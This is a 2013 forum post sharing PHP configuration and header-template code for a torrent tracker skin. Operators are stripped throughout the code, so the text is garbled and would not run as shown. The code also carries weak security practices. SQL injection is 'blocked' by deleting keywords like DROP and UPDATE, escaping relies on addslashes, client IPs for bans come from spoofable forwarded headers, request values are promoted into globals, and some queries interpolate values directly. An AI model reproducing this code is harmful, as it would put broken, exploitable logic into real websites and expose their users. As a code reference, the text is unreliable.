Thread: Urban Dirty
View Single Post
  #21  
Old 23rd February 2013, 20:33
Chez's Avatar
Chez Chez is offline
Senior Member
 
Join Date: Sep 2011
P2P
Posts: 278
Default
Done Tones

PHP Code:
<? 

include "ctracker.php"

// Ajout des protections injection SQL by OnlyHD 
    
$x str_replace("--"'--'$x); 
    
$x str_replace("UPDATE"''$x); 
    
$x str_replace("DELETE"''$x); 
    
$x str_replace("DROP"''$x); 
    
$x str_replace("INSERT"''$x); 
    
$x str_replace("$mysql_"''$x); 
    
$x str_replace("java script:"''$x); 
    
// 

// PHP5 with register_long_arrays off? 
if (!isset($HTTP_POST_VARS) && isset($_POST)) 

$HTTP_POST_VARS $_POST
$HTTP_GET_VARS $_GET
$HTTP_SERVER_VARS $_SERVER
$HTTP_COOKIE_VARS $_COOKIE
$HTTP_ENV_VARS $_ENV
$HTTP_POST_FILES $_FILES


//Directory for subss 
$SUBSPATH "subs"# local path to subs dir, chmod 777 

function maxsysop () { 
global 
$CURUSER
// Check Staff Names 
$lmaxclass  48
$lsysopnames = array("RomHD"); // Case sensitive. Change this (YOUR SYSOP-ADMIN NAMES GOES HERE) (example: array("adminname1","adminname2","adminname3","adminname4","so far") 
    
if ($CURUSER["class"] >= $lmaxclass
        if (!
in_array($CURUSER["username"], $lsysopnamestrue)) { // true for strict comparison 
            
$msg "Fake Account Detected: Username: ".$CURUSER["username"]." - UserID: ".$CURUSER["id"]." - UserIP : ".getip(); 
            
write_log($msg); 
            
stderr("Access Denied!","We come to believe you are using a fake account, therefore we've logged this action!"); 

             
        } 
// Check Staff IDS             
define ('UC_TECH'21); // Minumum Staff Level (4= UC_MODERATOR) 
if ($CURUSER['class'] >= UC_TECH) { 
    
$allowed_ID = array(1,2); // Change this (YOUR SYSOP-ADMIN IDS GOES HERE) (example: array(1,2,3,4,5)) 
        
if (!in_array((int)$CURUSER["id"], $allowed_IDtrue)) { // true for strict comparison 
            
$msg "Fake Account Detected: Username: ".$CURUSER["username"]." - UserID: ".$CURUSER["id"]." - UserIP : ".getip(); 
            
write_log($msg); 
            
stderr("Access Denied!","We come to believe you are using a fake account, therefore we've logged this action!");             
        }         
    } 



//--------------------------------- 
//---- Check Class by RomHD 
//--------------------------------- 

function noaccess($class) { 
    global 
$CURUSER
    if (
get_user_class() < $class){ 
            
$msg 'Illegaal Access Detected: Username: '.$CURUSER['username'].' - UserID: '.$CURUSER['id'].' - Page: '.$_SERVER['PHP_SELF'].' - UserIP : '.getip();     
            
write_log($msg); 
            
stderr("<center><font color=white>Error</center></font>""<center><p><table class=main width=98% border=1 cellspacing=0 cellpadding=10><tr><td align=center bgcolor=red><b><font color=white>Your not to be come here!<br>Please contact any staff member before you get a IP-!</font></b></td></tr></table></p>");                 



//--------------------------------- 
//---- Check Class by RomHD 
//--------------------------------- 





function strip_magic_quotes($arr

foreach (
$arr as $k => $v

if (
is_array($v)) 
$arr[$k] = strip_magic_quotes($v); } 
else 
$arr[$k] = stripslashes($v); } 


return 
$arr


if (
get_magic_quotes_gpc()) 

if (!empty(
$_GET)) { $_GET strip_magic_quotes($_GET); } 
if (!empty(
$_POST)) { $_POST strip_magic_quotes($_POST); } 
if (!empty(
$_COOKIE)) { $_COOKIE strip_magic_quotes($_COOKIE); } 



// addslashes to vars if magic_quotes_gpc is off 
// this is a security precaution to prevent someone 
// trying to break out of a SQL statement. 
// 

if( !get_magic_quotes_gpc() ) 

if( 
is_array($HTTP_GET_VARS) ) 

while( list(
$k$v) = each($HTTP_GET_VARS) ) 

if( 
is_array($HTTP_GET_VARS[$k]) ) 

while( list(
$k2$v2) = each($HTTP_GET_VARS[$k]) ) 

$HTTP_GET_VARS[$k][$k2] = addslashes($v2); 

@
reset($HTTP_GET_VARS[$k]); 

else 

$HTTP_GET_VARS[$k] = addslashes($v); 


@
reset($HTTP_GET_VARS); 


if( 
is_array($HTTP_POST_VARS) ) 

while( list(
$k$v) = each($HTTP_POST_VARS) ) 

if( 
is_array($HTTP_POST_VARS[$k]) ) 

while( list(
$k2$v2) = each($HTTP_POST_VARS[$k]) ) 

$HTTP_POST_VARS[$k][$k2] = addslashes($v2); 

@
reset($HTTP_POST_VARS[$k]); 

else 

$HTTP_POST_VARS[$k] = addslashes($v); 


@
reset($HTTP_POST_VARS); 


if( 
is_array($HTTP_COOKIE_VARS) ) 

while( list(
$k$v) = each($HTTP_COOKIE_VARS) ) 

if( 
is_array($HTTP_COOKIE_VARS[$k]) ) 

while( list(
$k2$v2) = each($HTTP_COOKIE_VARS[$k]) ) 

$HTTP_COOKIE_VARS[$k][$k2] = addslashes($v2); 

@
reset($HTTP_COOKIE_VARS[$k]); 

else 

$HTTP_COOKIE_VARS[$k] = addslashes($v); 


@
reset($HTTP_COOKIE_VARS); 




function 
local_user() 

  return 
$_SERVER["SERVER_ADDR"] == $_SERVER["REMOTE_ADDR"]; 


$FUNDS "$0"

$SITE_ONLINE true
//$SITE_ONLINE = local_user(); 
//$SITE_ONLINE = false; 

$max_torrent_size 1000000
$announce_interval 60 30
$signup_timeout 86400
$minvotes 1
$max_dead_torrent_time 2600
$invites 350000000
$autoclean_interval 1800

// Max users on site 
$maxusers 30000

// ONLY USE ONE OF THE FOLLOWING DEPENDING ON YOUR O/S!!! 
$torrent_dir "xtorrentsx";    # FOR UNIX ONLY - must be writable for httpd user 
//$torrent_dir = "/opt/lampp/htdocs/torrents";    # FOR WINDOWS ONLY - must be writable for httpd user 

# the first one will be displayed on the pages 
$announce_urls = array(); 
$announce_urls[] = "http://localhost/announce.php"

if (
$_SERVER["HTTP_HOST"] == ""
  
$_SERVER["HTTP_HOST"] = $_SERVER["SERVER_NAME"]; 
$BASEURL "http://" $_SERVER["HTTP_HOST"]; 

// Set this to your site URL... No ending slash! 
$DEFAULTBASEURL "http://localhost"

// For USER AGREEMENT purpose only! 
$DEFAULTBASEURL1 "http://black-torrents.eu"

//set this to true to make this a tracker that only registered users may use 
$MEMBERSONLY true

//maximum number of peers (seeders+leechers) allowed before torrents starts to be deleted to make room... 
//set this to something high if you don't require this feature 
$PEERLIMIT 99999999

// Email for sender/return path. 
$SITEEMAIL "noreply@black-torrents.eu"

$SITENAME "Black-Torrents"
$trialdelete 86400// 7 days until the account will be deleted from the database 
$pic_base_url "/pic/"
$imgdir "/pic/"

// Maximum size of files uploaded into the BitBucket in bytes 
$GLOBALS["MAX_UPLOAD_FILESIZE"] = 256 1024

// Maximum size of the BitBucket per user in bytes 
$GLOBALS["MAX_BITBUCKET_SIZE_USER"] = 1024 1024

// Maximum size of the BitBucket for uploaders in bytes 
$GLOBALS["MAX_BITBUCKET_SIZE_UPLOADER"] = 1024 1024

// Path where all Bit-Bucket files are stored. These are: 
// User's files, torrent and NFO images 
// This path MUST be a subdir of the tracker root, and MUST be 
// publicly available, optionally with referrer check 
// Webserver MUST have write permission on this directory! 
// No trailing slash. 
$GLOBALS["BITBUCKET_DIR"] = "bitbucket"

// Relative or absolute URL where all images for the interface are stored. 
// MUST include a trailing slash! 
$GLOBALS["PIC_BASE_URL"] = "pic/"

require_once(
"xxsecretsxz.php"); 
require_once(
"xxcleanupxz.php"); 

$maxloginattempts 6// change this whatever u want. if u dont know what is this, leave it default 

//Do not modify -- versioning system 
//This will help identify code for support issues at tbdev.net 
define ('TBVERSION','3.0'); 

/**** validip/getip courtesy of manolete <manolete@myway.com> ****/ 

// IP Validation 
function validip($ip

        if (!empty(
$ip) && $ip == long2ip(ip2long($ip))) 
        { 
                
// reserved IANA IPv4 addresses 
                // http://www.iana.org/assignments/ipv4-address-space 
                
$reserved_ips = array ( 
                                array(
'0.0.0.0','2.255.255.255'), 
                                array(
'10.0.0.0','10.255.255.255'), 
                                array(
'127.0.0.0','127.255.255.255'), 
                                array(
'169.254.0.0','169.254.255.255'), 
                                array(
'172.16.0.0','172.31.255.255'), 
                                array(
'192.0.2.0','192.0.2.255'), 
                                array(
'192.168.0.0','192.168.255.255'), 
                                array(
'255.255.255.0','255.255.255.255'
                ); 

                foreach (
$reserved_ips as $r
                { 
                                
$min ip2long($r[0]); 
                                
$max ip2long($r[1]); 
                                if ((
ip2long($ip) >= $min) && (ip2long($ip) <= $max)) return false
                } 
                return 
true
        } 
        else return 
false


// Patched function to detect REAL IP address if it's valid 
function getip() { 
   if (isset(
$_SERVER)) { 
     if (isset(
$_SERVER['HTTP_X_FORWARDED_FOR']) && validip($_SERVER['HTTP_X_FORWARDED_FOR'])) { 
       
$ip $_SERVER['HTTP_X_FORWARDED_FOR']; 
     } elseif (isset(
$_SERVER['HTTP_CLIENT_IP']) && validip($_SERVER['HTTP_CLIENT_IP'])) { 
       
$ip $_SERVER['HTTP_CLIENT_IP']; 
     } else { 
       
$ip $_SERVER['REMOTE_ADDR']; 
     } 
   } else { 
     if (
getenv('HTTP_X_FORWARDED_FOR') && validip(getenv('HTTP_X_FORWARDED_FOR'))) { 
       
$ip getenv('HTTP_X_FORWARDED_FOR'); 
     } elseif (
getenv('HTTP_CLIENT_IP') && validip(getenv('HTTP_CLIENT_IP'))) { 
       
$ip getenv('HTTP_CLIENT_IP'); 
     } else { 
       
$ip getenv('REMOTE_ADDR'); 
     } 
   } 

   return 
$ip
 } 

function 
dbconn($autoclean false

    global 
$mysql_host$mysql_user$mysql_pass$mysql_db

    if (!@
mysql_connect($mysql_host$mysql_user$mysql_pass)) 
    { 
          switch (
mysql_errno()) 
          { 
                case 
1040
                case 
2002
                        if (
$_SERVER[REQUEST_METHOD] == "GET"
                                die(
"<html><head><meta http-equiv=refresh content=\"5 $_SERVER[REQUEST_URI]\"></head><body><table border=0 width=100% height=100%><tr><td><h3 align=center>The server load is very high at the moment. Retrying, please wait...</h3></td></tr></table></body></html>"); 
                        else 
                                die(
"Too many users. Please press the Refresh button in your browser to retry."); 
        default: 
                die(
"[" mysql_errno() . "] dbconn: mysql_connect: " mysql_error()); 
      } 
    } 
    
mysql_select_db($mysql_db
        or die(
'dbconn: mysql_select_db: ' mysql_error()); 

    
userlogin(); 

    if (
$autoclean
        
register_shutdown_function("autoclean"); 



function 
userlogin() { 
    global 
$SITE_ONLINE
    unset(
$GLOBALS["CURUSER"]); 

    
$ip getip(); 
        
$nip ip2long($ip); 
    
$res mysql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE____LINE__); 
    if (
mysql_num_rows($res) > 0
    { 
      
header("HTTP/1.0 403 Restricted"); 
      print(
"<html><body><h1>Restricted!</h1>Unauthorized IP address!</body></html>\n"); 
      die; 
    } 

    if (!
$SITE_ONLINE || empty($_COOKIE["uid"]) || empty($_COOKIE["pass"])) 
        return; 
    
$id = (int)$_COOKIE["uid"]; 
    if (!
$id || strlen($_COOKIE["pass"]) != 32
        return; 
    
$res mysql_query("SELECT * FROM users WHERE id = $id AND enabled='yes' AND status = 'confirmed' LIMIT 1");// or die(mysql_error()); 
    
$row mysql_fetch_array($res); 
    if (!
$row
        return; 
    
$sec hash_pad($row["secret"]); 
    if (
$_COOKIE["pass"] !== $row["passhash"]) 
        return; 
        if ((
$ip != $row["ip"]) && $row["ip"]) 
    
mysql_query("INSERT INTO iplog (ip, userid, access) VALUES (" sqlesc($row["ip"]) . ", " $row["id"] . ", '" $row["last_access"] . "')"); 
    
mysql_query("UPDATE users SET last_access='" get_date_time() . "', ip=".sqlesc($ip)." WHERE id=" $row["id"]);// or die(mysql_error()); 
    
$row['ip'] = $ip
    
$GLOBALS["CURUSER"] = $row


function 
autoclean() { 
    global 
$autoclean_interval

    
$now time(); 
    
$docleanup 0

    
$res mysql_query("SELECT value_u FROM avps WHERE arg = 'lastcleantime'"); 
    
$row mysql_fetch_array($res); 
    if (!
$row) { 
        
mysql_query("INSERT INTO avps (arg, value_u) VALUES ('lastcleantime',$now)"); 
        return; 
    } 
    
$ts $row[0]; 
    if (
$ts $autoclean_interval $now
        return; 
    
mysql_query("UPDATE avps SET value_u=$now WHERE arg='lastcleantime' AND value_u = $ts"); 
    if (!
mysql_affected_rows()) 
        return; 

    
docleanup(); 


function 
unesc($x) { 
    if (
get_magic_quotes_gpc()) 
        return 
stripslashes($x); 
    return 
$x


function 
mksize($bytes

    if (
$bytes 1000 1024
        return 
number_format($bytes 10242"."".") . " KB"
        elseif (
$bytes 1000 1048576
            return 
number_format($bytes 10485762"."".") . " MB"
            elseif (
$bytes 1000 1073741824
                return 
number_format($bytes 10737418242"."".") . " GB"
                elseif (
$bytes 1000 1099511627776
                    return 
number_format($bytes 10995116277762"."".") . " TB"
                    else 
                    return 
number_format($bytes 11258999068426242"."".") . " PB"
                    } 
                     
                    function 
mksizeint($bytes
                    { 
                    
$bytes max(0$bytes); 
                    if (
$bytes 1000
                    return 
number_format(floor($bytes), 0","".") . " B"
                    elseif (
$bytes 1000 1024
                    return 
number_format(floor($bytes 1024), 0","".") . " KB"
                    elseif (
$bytes 1000 1048576
                    return 
number_format(floor($bytes 1048576), 0","".") . " MB"
                    elseif (
$bytes 1000 1073741824
                    return 
number_format(floor($bytes 1073741824), 0","".") . " GB"
                    elseif (
$bytes 1000 1099511627776
                    return 
number_format(floor($bytes 1099511627776), 0","".") . " TB"
                    else 
                    return 
number_format(floor($bytes 1125899906842624), 0"."".") . " PB"
                    } 

function 
prefixed($bytes

    
$prefixes = array("""k""M""G""T""P""E""Z""Y""B""Geop"); 
    
$i 0
    
$div 1
    while (
$bytes $div 1024 && $i count($prefixes)) { 
        
$i++; 
        
$div *= 1024
    } 

    return 
round($bytes $div2) . " " $prefixes[$i] . "B"


function 
deadtime() { 
    global 
$announce_interval
    return 
time() - floor($announce_interval 1.3); 


function 
display_date_time($time) { 
  global 
$CURUSER
  return 
date("d-m-Y H:i:s"strtotime($time) + (($CURUSER["timezone"] + $CURUSER["dst"]) * 60)); 


function 
mkprettytime($s) { 
    if (
$s 0
        
$s 0
    
$t = array(); 
    foreach (array(
"60:sec","60:min","24:hour","0:day") as $x) { 
        
$y explode(":"$x); 
        if (
$y[0] > 1) { 
            
$v $s $y[0]; 
            
$s floor($s $y[0]); 
        } 
        else 
            
$v $s
        
$t[$y[1]] = $v
    } 

    if (
$t["day"]) 
        return 
$t["day"] . "d " sprintf("%02d:%02d:%02d"$t["hour"], $t["min"], $t["sec"]); 
    if (
$t["hour"]) 
        return 
sprintf("%d:%02d:%02d"$t["hour"], $t["min"], $t["sec"]); 
//    if ($t["min"]) 
        
return sprintf("%d:%02d"$t["min"], $t["sec"]); 
//    return $t["sec"] . " secs"; 


function 
mkglobal($vars) { 
    if (!
is_array($vars)) 
        
$vars explode(":"$vars); 
    foreach (
$vars as $v) { 
        if (isset(
$_GET[$v])) 
            
$GLOBALS[$v] = unesc($_GET[$v]); 
        elseif (isset(
$_POST[$v])) 
            
$GLOBALS[$v] = unesc($_POST[$v]); 
        else 
            return 
0
    } 
    return 
1


function 
tr($x,$y,$noesc=0) { 
    if (
$noesc
        
$a $y
    else { 
        
$a htmlspecialchars($y); 
        
$a str_replace("\n""<br />\n"$a); 
    } 
    print(
"<tr><td class=\"heading\" valign=\"top\" align=\"right\">$x</td><td valign=\"top\" align=left>$a</td></tr>\n"); 


function 
trala($x,$y,$noesc=0) { 
if (
$noesc
     
$a $y
print(
"<tr><td class=\"heading\" valign=\"top\" align=\"right\">$x</td><td valign=\"top\" align=left>$a</td></tr>\n"); 



function 
validfilename($name) { 
    return 
preg_match('/^[^\0-\x1f:\\\\\/?*\xff#<>|]+$/si'$name); 


function 
validemail($email) { 
    return 
preg_match('/^[\w.-]+@([\w.-]+\.)+[a-z]{2,6}$/is'$email); 


function 
sqlesc($x) { 
    return 
"'".mysql_real_escape_string($x)."'"


function 
sqlwildcardesc($x) { 
    return 
str_replace(array("%","_"), array("\\%","\\_"), mysql_real_escape_string($x)); 


function 
urlparse($m) { 
    
$t $m[0]; 
    if (
preg_match(',^\w+://,'$t)) 
        return 
"<a href=\"$t\">$t</a>"
    return 
"<a href=\"http://$t\">$t</a>"


function 
parsedescr($d$html) { 
    if (!
$html
    { 
      
$d htmlspecialchars($d); 
      
$d str_replace("\n""\n<br>"$d); 
    } 
    return 
$d


function 
stdhead($title ""$msgalert true) { 
    global 
$CURUSER$SITE_ONLINE$FUNDS$SITENAME

  if (!
$SITE_ONLINE
    die(
"Site is down for maintenance, please check back again later... thanks<br>"); 

//Using IE is not Good Mod by OnlyHD 

$browser $_SERVER['HTTP_USER_AGENT']; 

if(
preg_match("/MSIE/i",$browser))//browser is IE 

echo 
'<br>'
echo 
'<hr>'
echo 
'<center><img border="0" src="http://black-torrents.eu/pic/warnedbig.gif"/></center>'
echo 
'<center><font size=\"+2\"><b>Warning!</b></color></font></center>'
echo 
'<center><br /><b>It appears as though you are running Internet Explorer Black-torrents was <b>NOT</b> intended to be viewed with internet explorer and chances are it will not look right and may not even function correctly.</center>'
echo 
'<center>Black-Torrents consider switching to one of the many better alternatives.</b></center>'
echo 
'<center><br /><a href="http://www.mozilla.com/firefox/"><img border="0" alt="Get Firefox!" title="Get Firefox!" src="http://black-torrents.eu/pic/getfirefox.gif"/></a></center>'
echo 
'<center><br /><strong>Get a SAFER browser !</strong></center>'
echo 
'<hr>'




  
end_frame(); 

//End of Using IE is not Good Mod by OnlyHD 





     
    //header("Pragma: No-cache"); 
    
if ($title == ""
        
$title $SITENAME .(isset($_GET['tbv'])?" (".TBVERSION.")":''); 
    else 
        
$title $SITENAME .(isset($_GET['tbv'])?" (".TBVERSION.")":''). " :: " htmlspecialchars($title); 
  if (
$CURUSER
  { 
    
$ss_a = @mysql_fetch_array(@mysql_query("SELECT uri FROM stylesheets WHERE id=" $CURUSER["stylesheet"])); 
    if (
$ss_a$ss_uri $ss_a["uri"]; 
  } 
  if (!
$ss_uri
  { 
    (
$r mysql_query("SELECT uri FROM stylesheets WHERE id=1")) or die(mysql_error() ); 
    (
$a mysql_fetch_array($r)) or die(mysql_error()); 
    
$ss_uri $a["uri"]; 
  } 
  if (
$msgalert && $CURUSER
  { 
    
$res mysql_query("SELECT COUNT(*) FROM messages WHERE receiver=" $CURUSER["id"] . " && unread='yes'") or die("OopppsY!"); 
    
$arr mysql_fetch_row($res); 
    
$unread $arr[0]; 
  } 
  if (
$CURUSER["fader"] == "yes"
  { 
  
?> 
<script> 
  var color = "<?=$CURUSER["fadecolor"]?>"; 
</script> 
  <? 
  

?> 
<html> 
<head> 
<title><?= $title ?></title> 
<link rel="stylesheet" href="styles/skTrdie.css" type="text/css">
<link rel="alternate" type="application/rss+xml" title="<? print("" .LATEST_TORRENTS"")?>" href="<?=$DEFAULTBASEURL?>/rss.php">
<link rel="shortcut icon" href="<?=$DEFAULTBASEURL;?>/favicon.ico" type="image/x-icon">
<script type="text/javascript" src="script/swfobject.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<!--meta name="description" content="filelist - Site-ul filelist.ro este blocat de firma iLink"-->

</head>
<body>

<?

?>

<table cellspacing=0 cellpadding=0 id=bg_top>
<tr>
<td align=center>
<div id="header"><img src="http://www.bvlist.com/styles/urban_dirty/header.jpg" /></div><!--header-->

<script type="text/javascript">
    var so = new SWFObject("styles/urban_dirty/header.swf", "flash_header", "900", "250", "9", "#B3B2AA");
    so.addParam("wmode", "transparent");
    so.write("header");
</script>
</td>
</tr></table>
<!-- /////// some vars for the statusbar;o) //////// -->
<? if ($CURUSER) { ?>
<?
$datum 
getdate();
$datum[hours] = sprintf("%02.0f"$datum[hours]+1);// Romania
$datum[minutes] = sprintf("%02.0f"$datum[minutes]);
$uped mksize($CURUSER['uploaded']);
$downed mksize($CURUSER['downloaded']);
if (
$CURUSER["downloaded"] > 0)
{
$ratio $CURUSER['uploaded'] / $CURUSER['downloaded'];
$ratio number_format($ratio3);
$color get_ratio_color($ratio);
if (
$color)
$ratio "<font color=$color>$ratio</font>";
}
else
if (
$CURUSER["uploaded"] > 0)
$ratio "Inf.";
else
$ratio "---";

if (
$CURUSER['donor'] == "yes")
$medaldon "<img src=pic/star.gif alt=" .DONOR" title=" .DONOR">";

if (
$CURUSER['warned'] == "yes")
$warn "<img src=pic/warned.gif alt=" .WARNED" title=" .WARNED">";

//// check for messages //////////////////
$res1 mysql_query("SELECT COUNT(*) FROM messages WHERE receiver=" $CURUSER["id"] . " AND location IN ('in', 'both')") or print(mysql_error());
$arr1 mysql_fetch_row($res1);
$messages $arr1[0];
$res1 mysql_query("SELECT COUNT(*) FROM messages WHERE receiver=" $CURUSER["id"] . " AND location IN ('in', 'both') AND unread='yes'") or print(mysql_error());
$arr1 mysql_fetch_row($res1);
$unread $arr1[0];
$res1 mysql_query("SELECT COUNT(*) FROM messages WHERE sender=" $CURUSER["id"] . " AND location IN ('out', 'both')") or print(mysql_error());
$arr1 mysql_fetch_row($res1);
$outmessages $arr1[0];
$res1 mysql_query("SELECT COUNT(*) FROM messages WHERE receiver=" $CURUSER["id"] . " && unread='yes'") or die("OopppsY!");
$arr1 mysql_fetch_row($res1);
$unread $arr1[0];
if (
$unread)
$inboxpic "<table><tr><td><div id=\"inbox_new\"><a href=\"inbox.php\"/><img border=0 src=\"../styles/urban_dirty/icons/inbox_new.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/inbox_new.swf\", \"flash_inbox_new\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"inbox_new\");</script></td>";
else
$inboxpic "<table><tr><td><div id=\"inbox\"><a href=\"inbox.php\"/><img border=0 src=\"../styles/urban_dirty/icons/inbox.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/inbox.swf\", \"flash_inbox\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"inbox\");</script></td>";
if (
0) {//new announce online, FIXME
//// check active torrents ///////////////////////
$res2 mysql_query("SELECT COUNT(*) FROM peers WHERE userid=" $CURUSER["id"] . " AND seeder='yes'") or print(mysql_error());
$row mysql_fetch_row($res2);
$activeseed $row[0];
$res2 mysql_query("SELECT COUNT(*) FROM peers WHERE userid=" $CURUSER["id"] . " AND seeder='no'") or print(mysql_error());
$row mysql_fetch_row($res2);
$activeleech $row[0];
//// end

// check if user is connectable or not
$res3 mysql_query("SELECT connectable FROM peers WHERE userid=" sqlesc($CURUSER["id"]) . " LIMIT 1") or print(mysql_error());
if(
$row mysql_fetch_row($res3)){
       
$connect $row[0];
       if(
$connect == "yes"){
         
$connectable "<b><font color=green><a title='" .CONNECTABLE" = " .YES"'>" .YES"</a></font></b>";
       }else{
         
$connectable "<b><font color=red><a title='" .CONNECTABLE" = " .NO"'>" .NO"</a></font></b>";
       }
}else{
$connectable ="<b><a title='" .UNKNOW"'>---</a></b>";
}
}
?>

<!-- //////// start the statusbar ///////////// -->
<table align="center" cellpadding="0" cellspacing="0" border="0" class="container" id="status_on">
<tr>
<td class="tablea"><table align="center" style="width:737" cellspacing="0" cellpadding="0" border="0">
<tr>
<td class="bottom" align="left"><span class="smallfont"><? print("" .WELCOME_BACK"")?>, <b><a href="userdetails.php?id=<?=$CURUSER['id']?>"><?=$CURUSER['username']?></a></b><?=$medaldon?><?=$warn?>&nbsp; [<a href="logout.php"><? print("" .LOG_OUT"")?></a>]<br/>
<font color=1900D1><? print("" .RATIO"")?>:</font> <?=$ratio?>&nbsp;&nbsp;<font color=green><? print("" .UPLOADED"")?>:</font> <font color=black><?=$uped?></font>&nbsp;&nbsp;<font color=darkred><? print("" .DOWNLOADED"")?>:</font> <font color=black><?=$downed?></font>&nbsp;&nbsp;<!--font color=1900D1><? print("" .ACTIVE_TORRENTS"")?>:&nbsp;</font></span> <img alt="Torrents seeding" title="Torrents seeding" src="pic/arrowup.gif">&nbsp;<font color=black><span class="smallfont"><?=$activeseed?></span></font>&nbsp;&nbsp;<img alt="Torrents leeching" title="Torrents leeching" src="pic/arrowdown.gif">&nbsp;<font color=black><span class="smallfont"><?=$activeleech?></span></font>&nbsp;&nbsp;<font color=1900D1><? print("" .CONNECTABLE"")?>:&nbsp;</font--><?=$connectable?></td>
<td class="bottom" align="right"><span class="smallfont">Invitatii: <a href=invite.php><b><?=$CURUSER[invites];?></b></a><br/>
<?
if ($messages){
print(
"$inboxpic<td><span class=smallfont>$messages ($unread " .NEW_")</span></td>");
if (
$outmessages)
print(
"<td><div id=\"sentbox\"><a href=\"inbox.php?out=1\"/><img border=0 src=\"../styles/urban_dirty/icons/sentbox.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/sentbox.swf\", \"flash_sentbox\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"sentbox\");</script></td><td><span class=smallfont>$outmessages</span></td>");
else
print(
"<td><div id=\"sentbox\"><a href=\"inbox.php?out=1\"/><img border=0 src=\"../styles/urban_dirty/icons/sentbox.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/sentbox.swf\", \"flash_sentbox\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"sentbox\");</script></td><td><span class=smallfont>0</span></td>");
}
else
{
print(
"$inboxpic</td><td><span class=smallfont>0</span></td>");
if (
$outmessages)
print(
"<td><div id=\"sentbox\"><a href=\"inbox.php?out=1\"/><img border=0 src=\"../styles/urban_dirty/icons/sentbox.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/sentbox.swf\", \"flash_sentbox\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"sentbox\");</script></td><td><span class=smallfont>$outmessages</span></td>");
else
print(
"<td><div id=\"sentbox\"><a href=\"inbox.php?out=1\"/><img border=0 src=\"../styles/urban_dirty/icons/sentbox.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/sentbox.swf\", \"flash_sentbox\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"sentbox\");</script></td>");
}
print(
"<td><div id=\"buddylist\"><a href=\"friends.php\"/><img border=0 src=\"../styles/urban_dirty/icons/buddylist.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/buddylist.swf\", \"flash_buddylist\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"buddylist\");</script></td>");
print(
"<td><div id=\"rss\"><a href=\"getrss.php\"/><img border=0 src=\"../styles/urban_dirty/icons/rss.gif\" /></a></div><script type=\"text/javascript\">var so = new SWFObject(\"styles/urban_dirty/icons/rss.swf\", \"flash_rss\", \"32\", \"32\", \"9\", \"#D7D8D3\"); so.addParam(\"wmode\", \"transparent\"); so.write(\"rss\");</script></td></tr></table>");
?>
</span></td>

</tr>
</table></table>




<? } else { ?>
<table align="center" cellpadding="0" cellspacing="0" border="0" class="container" id="status_off">
<tr>
<td>
<table align="center" cellspacing="0" cellpadding="0" border="0">
<form method="post" action="takelogin.php">
<center>
<? print("" .USERNAME"")?>: <input type="text" size=40 name="username" />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<? print("" .PASSWORD"")?>: <input type="password" size=40 name="password" />
<input type="submit" value="<? print("" .LOGIN"")?>!" class=btn>
</center>
</form>
</table>
</td>
</tr>
</table>

<? }?>
<!-- /////////// here we go, with the cats //////////// -->
<?php

$w 
"width=100%";

?>
<table align=center class=mainouter border="1" cellspacing="0" cellpadding="10">

<!------------- MENU ------------------------------------------------------------------------>

<? $fn substr($_SERVER['PHP_SELF'], strrpos($_SERVER['PHP_SELF'], "/") + 1); ?>
<tr><td class=outer align=center>
<table class=main width=700 cellspacing="0" cellpadding="0" border="0">
<tr>

<? if (!$CURUSER) { ?>
<td align="center" class="navigation">
<table cellspacing=0 cellpading=0><tr>
<? print("<td class=btn_left></td><td class=btn_bg><a href=/>" .LOGIN"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?>
<? 
print("<td class=btn_left></td><td class=btn_bg><a href=/signup.php>" .SIGNUP"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?>
<? 
print("<td class=btn_left></td><td class=btn_bg><a href=/recover.php>" .RECOVER"</a></td><td class=btn_right></td>")?>
</tr></table>
<!--/ <a href="/email-gateway.php?id=1"><? print("Contact")?></a>---->
<!---- / <a href=/rules.php><? print("[ " .RULES" ]")?></a> / <a href=/faq.php><? print("[ " .FAQ" ]")?></a> ---->
</td>
<? } else { ?>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/>" .HOME"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/browse.php>" .BROWSE"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<? if (get_user_class() >= UC_SYSOP) { ?>

<? } else { ?>
<td align="center" class="navigation"><a href="/donate_ppl.php">Doneaza</a></td>
<? } if (get_user_class() > UC_VIP) { ?>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/upload.php>" .UPLOAD"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
</td>
<? } else { ?>
<? 
?>
<td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/viewrequests.php>" .REQUESTS"</a></td><td class=btn_right></td><td class=btn_spacer></td>")?></td>
<!--td align="center" class="navigation"><? print("<td class=btn_left></td><td class=btn_bg><a href=/viewoffers.php>" .OFFERS" ]")?></a></td-->
